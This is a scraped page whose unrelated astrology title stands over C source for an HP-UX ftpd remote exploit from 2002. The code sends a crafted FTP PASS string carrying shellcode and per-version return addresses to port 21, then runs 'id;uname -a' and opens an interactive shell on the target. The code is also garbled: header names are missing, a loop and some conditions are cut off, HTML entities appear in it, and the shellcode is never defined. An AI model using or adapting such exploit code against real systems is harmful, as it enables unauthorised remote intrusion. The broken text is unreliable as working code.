Leo Cancer Cusp Are They Good Love Matches

ftpd exploit: S

/ * * HP-UX
ftpd exploit by John Anderson (john @ EV6. net) Mon Aug 26 19:25:50 EDT 2002
* Tested Against: 220 hpbox FTP server (Version 1.7.214.1 Thu Oct 23 19:57:52 GMT 1997) ready.
* HP-UX 11.0 Should be vulnerable by default
* Based on theoretical exploit by babcia padlina ltd.

* With thanks to psychoid, snake, slow-moe
*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

unsigned long ret = 0x7f7efd80; /* history */

int ctimedout(int sig) {

printf(" Exploitation timed out.\n"); exit(0);

}

void usage() {

printf("Usage:\n");
printf("./exploit IP/HOST TYPE (ret) (offset)\n");
printf("Where type is one of:\n");
printf("0 - bruteforce, specify ret and offset manually\n");
printf("1 - ret=0x7f7efd80, offset=0, Version 1.7.214.1 Thu Oct 23 19:57:52 GMT 1997\n"); printf("2 - ret=0x7f7e9dc0, offset=0, Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999\n");
printf("3 - ret=0x7f7e9dc0, offset=0, Version 1.1.214.2 Mon May 11 12:21:14 GMT 1998\n");
printf("4 - ret=0x7f7e9dc1, offset=0, Version 1.1.214.5 Tue Nov 16 09:39:15 GMT 1999\n");
printf("5 - ret=0x7f7f9dd0, offset=0, Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999 - HPPA2\n");
exit(0); }
int main(argc, argv)
int argc; char **argv;
{ int stackofs, nops;
int i, cnt, sck, ctimeout=2000; int type, offset, brute=0;
char buf[BUFSIZ*2], buf2[2048], buffer[4096]; struct hostent *hp;
struct sockaddr_in adr; signal(SIGALRM, ctimedout);
printf("HP-UX ftpd exploit, Mon Aug 26 19:25:50 EDT 2002\n");
if (argc
usage();
type=atoi(argv[2]);

switch (type)
{
case 0: /* bruteforce mode */
ret=strtoul(argv[3],NULL,16);
brute=1;
break;
case 1: /* Version 1.7.214.1 Thu Oct 23 19:57:52 GMT 1997 */
ret=0x7f7efd80;
break;
case 2: /* Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999 */
ret=0x7f7e9dc0;
break;
case 3: /* Version 1.1.214.2 Mon May 11 12:21:14 GMT 1998 */
ret=0x7f7e9dc0;
break;
case 4: /* Version 1.1.214.5 Tue Nov 16 09:39:15 GMT 1999 */
ret=0x7f7e9dc1;
break;
}
if(brute) {
if (argc > 3) {
offset=atoi(argv[4]);
ret=ret+offset;
}
}
printf("Using ret: %p\n", ret);

sck=socket(AF_INET,SOCK_STREAM,0);
adr.sin_family=AF_INET;
adr.sin_port=htons(21);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
alarm(ctimeout);

if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))
perror("error");exit(-1);
}

/* actual code */

for (strcpy(buf, "PASS "),i=0;i < 2)
sprintf(buf+strlen(buf), "%s%%.%ddaaaa%c%c%c%c", shellcode,
BUFSIZE-strlen(shellcode)-nops*4-4,
(((int)ret &amp; 0xff000000) >>24),(((int)ret &amp; 0xff0000) >> 16),(((int)ret &amp;
0xff00) >>8),((int)ret &amp; 0xff));

/* sprintf(buf2, "USER root\r\n%s\r\n", buf); */
sprintf(buf2, "USER admin\r\n");
write(sck,buf2,strlen(buf2));
sprintf(buf2, "%s\r\n", buf);
/* sleep(2); */

alarm(0);
write(sck,buf2,strlen(buf2));
printf("%s\n%d\n", buf2, strlen(buf2));
sleep(2);
sprintf(buf2, "echo OWNED;id;uname -a;\n");
write(sck,buf2,strlen(buf2));
sleep(1);
sprintf(buf2, "echo OWNED;id;uname -a;\n");
write(sck,buf2,strlen(buf2));

while(1){
fd_set fds;
FD_ZERO(&amp;fds);
FD_SET(0,&amp;fds);
FD_SET(sck,&amp;fds);
if(select(FD_SETSIZE,&amp;fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&amp;fds)){
if((cnt=read(0,buf,1024))
if(errno==EWOULDBLOCK }
}
}

/* exit(0); */

}




<0){
en c